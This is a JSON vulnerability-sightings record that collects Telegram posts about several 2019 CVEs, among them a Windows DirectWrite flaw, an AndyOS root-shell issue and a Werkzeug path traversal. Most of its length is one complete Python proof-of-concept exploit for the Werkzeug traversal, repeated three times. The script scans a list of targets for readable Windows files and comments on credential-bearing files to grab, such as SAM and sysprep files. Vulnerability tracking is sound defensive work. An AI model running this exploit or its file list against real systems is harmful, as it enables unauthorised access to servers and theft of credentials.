{"vulnerability": "CVE-2019-1432", "sightings": [{"uuid": "2e45a21f-c363-49fd-b62a-2e2c30101f08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-1432", "type": "seen", "source": "https://t.me/ctinow/183632", "content": "https://ift.tt/lYoq0tf\nCVE-2019-1432 | Microsoft Windows up to Server 2012 R2 DirectWrite information disclosure", "creation_timestamp": "2024-02-13T07:26:20.000000Z"}, {"uuid": "c7f1ffa1-6636-4acf-b099-155d06c0fcad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-14322", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/753", "content": "CVE-2019-14322 Pallets Werkzeug 0.15.4 \u76ee\u9304\u904d\u6b77\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2019-14322_Pallets_Werkzeug_0.15.4_%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-09-21T04:42:19.000000Z"}, {"uuid": "d345dbc4-6611-41ac-ab84-7c8186424856", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-14326", "type": "seen", "source": "https://t.me/VulnerabilityNews/13804", "content": "An issue was discovered in AndyOS Andy versions up to 46.11.113. By default, it starts telnet and ssh (ports 22 and 23) with root privileges in the emulated Android system. This can be exploited by remote attackers to gain full access to the device, or by malicious apps installed inside the emulator to perform privilege escalation from a normal user to root (unlike with standard methods of getting root privileges on Android - e.g., the SuperSu program - the user is not asked for consent). There is no authentication performed - access to a root shell is given upon a successful connection. NOTE: although this was originally published with a slightly different CVE ID number, the correct ID for this Andy vulnerability has always been CVE-2019-14326.\nPublished at: April 14, 2020 at 09:15PM\nView on website", "creation_timestamp": "2020-04-15T00:04:04.000000Z"}, {"uuid": "d57db663-2a2e-4bee-9d67-ea477ed5c9a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-14326", "type": "seen", "source": "https://t.me/cibsecurity/11236", "content": "ATENTION\u203c New - CVE-2019-14326\n\nAn issue was discovered in AndyOS Andy versions up to 46.11.113. By default, it starts telnet and ssh (ports 22 and 23) with root privileges in the emulated Android system. This can be exploited by remote attackers to gain full access to the device, or by malicious apps installed inside the emulator to perform privilege escalation from a normal user to root (unlike with standard methods of getting root privileges on Android - e.g., the SuperSu program - the user is not asked for consent). There is no authentication performed - access to a root shell is given upon a successful connection. NOTE: although this was originally published with a slightly different CVE ID number, the correct ID for this Andy vulnerability has always been CVE-2019-14326.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-04-14T22:44:07.000000Z"}, {"uuid": "211605eb-3200-49e4-a773-2a10e8e74582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-14322", "type": "seen", "source": "https://t.me/hacking_Attack/15635", "content": "Exploit Collector\nPallets Werkzeug 0.15.4 Path Traversal\n\nhttps://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png Proof of concept exploit for a path traversal vulnerability in Pallets Werkzeug version 0.15.4.\n\nMD5 | 262f237db7999ab766781c5e99c59463Download #!/usr/bin/env python3\n# PoC code by @faisalfs10x [https://github.com/faisalfs10x]\n\n\"\"\" $ pip3 install colorama==0.3.3, argparse, requests, urllib3\n$ python3 CVE-2019-14322.py -l list_target.txt\"\n\"\"\"\nimport argparse\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nimport requests\nfrom colorama import Fore, Back, Style, init\n\n# Colors\nred = '\\033[91m'\ngreen = '\\033[92m'\nwhite = '\\033[97m'\nyellow = '\\033[93m'\nbold = '\\033[1m'\nend = '\\033[0m'\n\ninit(autoreset=True)\n\ndef banner_motd():\nprint(Fore.CYAN +Style.BRIGHT +\"\"\" \n\nCVE-2019-14322 %sPoC by faisalfs10x%s - (%s-%s)%s %s \n\"\"\" % (bold, red, white, yellow, white, end))\n\nbanner_motd()\n\n# list of sensitive files to grab in windows\n\n# %windir%\\repair\\sam\n# %windir%\\System32\\config\\RegBack\\SAM\n# %windir%\\repair\\system\n# %windir%\\repair\\software\n# %windir%\\repair\\security\n# %windir%\\debug\\NetSetup.log (AD domain name, DC name, internal IP, DA account)\n# %windir%\\iis6.log (5,6 or 7)\n# %windir%\\system32\\logfiles\\httperr\\httperr1.log\n# C:\\sysprep.inf\n# C:\\sysprep\\sysprep.inf\n# C:\\sysprep\\sysprep.xml\n# %windir%\\Panther\\Unattended.xml\n# C:\\inetpub\\wwwroot\\Web.config\n# %windir%\\system32\\config\\AppEvent.Evt (Application log)\n# %windir%\\system32\\config\\SecEvent.Evt (Security log)\n# %windir%\\system32\\config\\default.sav\n# %windir%\\system32\\config\\security.sav\n# %windir%\\system32\\config\\software.sav\n# %windir%\\system32\\config\\system.sav\n# %windir%\\system32\\inetsrv\\config\\applicationHost.config\n# %windir%\\system32\\inetsrv\\config\\schema\\ASPNET_schema.xml\n# %windir%\\System32\\drivers\\etc\\hosts (dns entries)\n# %windir%\\System32\\drivers\\etc\\networks (network settings)\n# %windir%\\system32\\config\\SAM\n# TLDR:\n# C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml\n# C:/windows/system32/inetsrv/config/applicationHost.config\n# C:/windows/system32/logfiles/httperr/httperr1.log \n# C:/windows/debug/NetSetup.log - (may contain AD domain name, DC name, internal IP, DA account)\n# C:/windows/system32/drivers/etc/hosts - (dns entries)\n# C:/windows/system32/drivers/etc/networks - (network settings)\n\ndef check(url):\n\n# There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :)\n# This script reads c:/windows/win.ini as a proof of concept.\nfor endpoint in [\n'https://{}/base_import/static/c:/windows/win.ini', \n#'https://{}/web/static/c:/windows/win.ini', \n#'https://{}/base/static/c:/windows/win.ini'\n]:\ntry:\n\nurl2 = endpoint.format(url)\nresp = requests.get(url2, verify=False, timeout=5)\n\nif 'fonts' and 'files' and 'extensions' in resp.text:\nprint(Fore.LIGHTGREEN_EX +Style.BRIGHT +\" [+] \" +url2+ \" : vulnerable====[+]\")\nwith open('CVE-2019-14322_result.txt', 'a+') as output:\noutput.write('{}\\n'.format(url2))\noutput.close()\n\nelse:\nprint(\" [-] \" +url+ \" : not vulnerable\")\n\nexcept KeyboardInterrupt:\nexit('User aborted!')\nexcept:\nprint(\" [-] \" +url+ \" : not vulnerable\")\ndef main(args):\n\nf = open(listfile, \"r\")\nfor w in f:\nurl = w.strip()\n\ncheck(url)\n\nif __name__ == '__main__':\n\ntry:\n\nparser = argparse.ArgumentParser(description='CVE-2019-14322')\nparser.add_argument(\"-l\",\"--targetlist\",required=True, help = \"target list in file\")\nargs = parser.parse_args()\nlistfile = args.targetlist\n\nmain(args)\n\nexcept KeyboardInterrupt:\nexit('User aborted!') Source:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:34.120762Z"}, {"uuid": "23414ae5-04c7-45c8-a9c4-b3cd263b5f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-14322", "type": "seen", "source": "https://t.me/hacking_Attack/15635", "content": "Exploit Collector\nPallets Werkzeug 0.15.4 Path Traversal\n\nhttps://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png Proof of concept exploit for a path traversal vulnerability in Pallets Werkzeug version 0.15.4.\n\nMD5 | 262f237db7999ab766781c5e99c59463Download #!/usr/bin/env python3\n# PoC code by @faisalfs10x [https://github.com/faisalfs10x]\n\n\"\"\" $ pip3 install colorama==0.3.3, argparse, requests, urllib3\n$ python3 CVE-2019-14322.py -l list_target.txt\"\n\"\"\"\nimport argparse\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nimport requests\nfrom colorama import Fore, Back, Style, init\n\n# Colors\nred = '\\033[91m'\ngreen = '\\033[92m'\nwhite = '\\033[97m'\nyellow = '\\033[93m'\nbold = '\\033[1m'\nend = '\\033[0m'\n\ninit(autoreset=True)\n\ndef banner_motd():\nprint(Fore.CYAN +Style.BRIGHT +\"\"\" \n\nCVE-2019-14322 %sPoC by faisalfs10x%s - (%s-%s)%s %s \n\"\"\" % (bold, red, white, yellow, white, end))\n\nbanner_motd()\n\n# list of sensitive files to grab in windows\n\n# %windir%\\repair\\sam\n# %windir%\\System32\\config\\RegBack\\SAM\n# %windir%\\repair\\system\n# %windir%\\repair\\software\n# %windir%\\repair\\security\n# %windir%\\debug\\NetSetup.log (AD domain name, DC name, internal IP, DA account)\n# %windir%\\iis6.log (5,6 or 7)\n# %windir%\\system32\\logfiles\\httperr\\httperr1.log\n# C:\\sysprep.inf\n# C:\\sysprep\\sysprep.inf\n# C:\\sysprep\\sysprep.xml\n# %windir%\\Panther\\Unattended.xml\n# C:\\inetpub\\wwwroot\\Web.config\n# %windir%\\system32\\config\\AppEvent.Evt (Application log)\n# %windir%\\system32\\config\\SecEvent.Evt (Security log)\n# %windir%\\system32\\config\\default.sav\n# %windir%\\system32\\config\\security.sav\n# %windir%\\system32\\config\\software.sav\n# %windir%\\system32\\config\\system.sav\n# %windir%\\system32\\inetsrv\\config\\applicationHost.config\n# %windir%\\system32\\inetsrv\\config\\schema\\ASPNET_schema.xml\n# %windir%\\System32\\drivers\\etc\\hosts (dns entries)\n# %windir%\\System32\\drivers\\etc\\networks (network settings)\n# %windir%\\system32\\config\\SAM\n# TLDR:\n# C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml\n# C:/windows/system32/inetsrv/config/applicationHost.config\n# C:/windows/system32/logfiles/httperr/httperr1.log \n# C:/windows/debug/NetSetup.log - (may contain AD domain name, DC name, internal IP, DA account)\n# C:/windows/system32/drivers/etc/hosts - (dns entries)\n# C:/windows/system32/drivers/etc/networks - (network settings)\n\ndef check(url):\n\n# There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :)\n# This script reads c:/windows/win.ini as a proof of concept.\nfor endpoint in [\n'https://{}/base_import/static/c:/windows/win.ini', \n#'https://{}/web/static/c:/windows/win.ini', \n#'https://{}/base/static/c:/windows/win.ini'\n]:\ntry:\n\nurl2 = endpoint.format(url)\nresp = requests.get(url2, verify=False, timeout=5)\n\nif 'fonts' and 'files' and 'extensions' in resp.text:\nprint(Fore.LIGHTGREEN_EX +Style.BRIGHT +\" [+] \" +url2+ \" : vulnerable====[+]\")\nwith open('CVE-2019-14322_result.txt', 'a+') as output:\noutput.write('{}\\n'.format(url2))\noutput.close()\n\nelse:\nprint(\" [-] \" +url+ \" : not vulnerable\")\n\nexcept KeyboardInterrupt:\nexit('User aborted!')\nexcept:\nprint(\" [-] \" +url+ \" : not vulnerable\")\ndef main(args):\n\nf = open(listfile, \"r\")\nfor w in f:\nurl = w.strip()\n\ncheck(url)\n\nif __name__ == '__main__':\n\ntry:\n\nparser = argparse.ArgumentParser(description='CVE-2019-14322')\nparser.add_argument(\"-l\",\"--targetlist\",required=True, help = \"target list in file\")\nargs = parser.parse_args()\nlistfile = args.targetlist\n\nmain(args)\n\nexcept KeyboardInterrupt:\nexit('User aborted!') Source:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:08.155753Z"}, {"uuid": "3995432b-bae4-418a-9087-cafd8e62c755", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-14322", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/15635", "content": "Exploit Collector\nPallets Werkzeug 0.15.4 Path Traversal\n\nhttps://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png Proof of concept exploit for a path traversal vulnerability in Pallets Werkzeug version 0.15.4.\n\nMD5 | 262f237db7999ab766781c5e99c59463Download #!/usr/bin/env python3\n# PoC code by @faisalfs10x [https://github.com/faisalfs10x]\n\n\"\"\" $ pip3 install colorama==0.3.3, argparse, requests, urllib3\n$ python3 CVE-2019-14322.py -l list_target.txt\"\n\"\"\"\nimport argparse\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nimport requests\nfrom colorama import Fore, Back, Style, init\n\n# Colors\nred = '\\033[91m'\ngreen = '\\033[92m'\nwhite = '\\033[97m'\nyellow = '\\033[93m'\nbold = '\\033[1m'\nend = '\\033[0m'\n\ninit(autoreset=True)\n\ndef banner_motd():\nprint(Fore.CYAN +Style.BRIGHT +\"\"\" \n\nCVE-2019-14322 %sPoC by faisalfs10x%s - (%s-%s)%s %s \n\"\"\" % (bold, red, white, yellow, white, end))\n\nbanner_motd()\n\n# list of sensitive files to grab in windows\n\n# %windir%\\repair\\sam\n# %windir%\\System32\\config\\RegBack\\SAM\n# %windir%\\repair\\system\n# %windir%\\repair\\software\n# %windir%\\repair\\security\n# %windir%\\debug\\NetSetup.log (AD domain name, DC name, internal IP, DA account)\n# %windir%\\iis6.log (5,6 or 7)\n# %windir%\\system32\\logfiles\\httperr\\httperr1.log\n# C:\\sysprep.inf\n# C:\\sysprep\\sysprep.inf\n# C:\\sysprep\\sysprep.xml\n# %windir%\\Panther\\Unattended.xml\n# C:\\inetpub\\wwwroot\\Web.config\n# %windir%\\system32\\config\\AppEvent.Evt (Application log)\n# %windir%\\system32\\config\\SecEvent.Evt (Security log)\n# %windir%\\system32\\config\\default.sav\n# %windir%\\system32\\config\\security.sav\n# %windir%\\system32\\config\\software.sav\n# %windir%\\system32\\config\\system.sav\n# %windir%\\system32\\inetsrv\\config\\applicationHost.config\n# %windir%\\system32\\inetsrv\\config\\schema\\ASPNET_schema.xml\n# %windir%\\System32\\drivers\\etc\\hosts (dns entries)\n# %windir%\\System32\\drivers\\etc\\networks (network settings)\n# %windir%\\system32\\config\\SAM\n# TLDR:\n# C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml\n# C:/windows/system32/inetsrv/config/applicationHost.config\n# C:/windows/system32/logfiles/httperr/httperr1.log \n# C:/windows/debug/NetSetup.log - (may contain AD domain name, DC name, internal IP, DA account)\n# C:/windows/system32/drivers/etc/hosts - (dns entries)\n# C:/windows/system32/drivers/etc/networks - (network settings)\n\ndef check(url):\n\n# There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :)\n# This script reads c:/windows/win.ini as a proof of concept.\nfor endpoint in [\n'https://{}/base_import/static/c:/windows/win.ini', \n#'https://{}/web/static/c:/windows/win.ini', \n#'https://{}/base/static/c:/windows/win.ini'\n]:\ntry:\n\nurl2 = endpoint.format(url)\nresp = requests.get(url2, verify=False, timeout=5)\n\nif 'fonts' and 'files' and 'extensions' in resp.text:\nprint(Fore.LIGHTGREEN_EX +Style.BRIGHT +\" [+] \" +url2+ \" : vulnerable====[+]\")\nwith open('CVE-2019-14322_result.txt', 'a+') as output:\noutput.write('{}\\n'.format(url2))\noutput.close()\n\nelse:\nprint(\" [-] \" +url+ \" : not vulnerable\")\n\nexcept KeyboardInterrupt:\nexit('User aborted!')\nexcept:\nprint(\" [-] \" +url+ \" : not vulnerable\")\ndef main(args):\n\nf = open(listfile, \"r\")\nfor w in f:\nurl = w.strip()\n\ncheck(url)\n\nif __name__ == '__main__':\n\ntry:\n\nparser = argparse.ArgumentParser(description='CVE-2019-14322')\nparser.add_argument(\"-l\",\"--targetlist\",required=True, help = \"target list in file\")\nargs = parser.parse_args()\nlistfile = args.targetlist\n\nmain(args)\n\nexcept KeyboardInterrupt:\nexit('User aborted!') Source:packetstormsecurity.com", "creation_timestamp": "2026-09-08T00:00:07.561147Z"}]}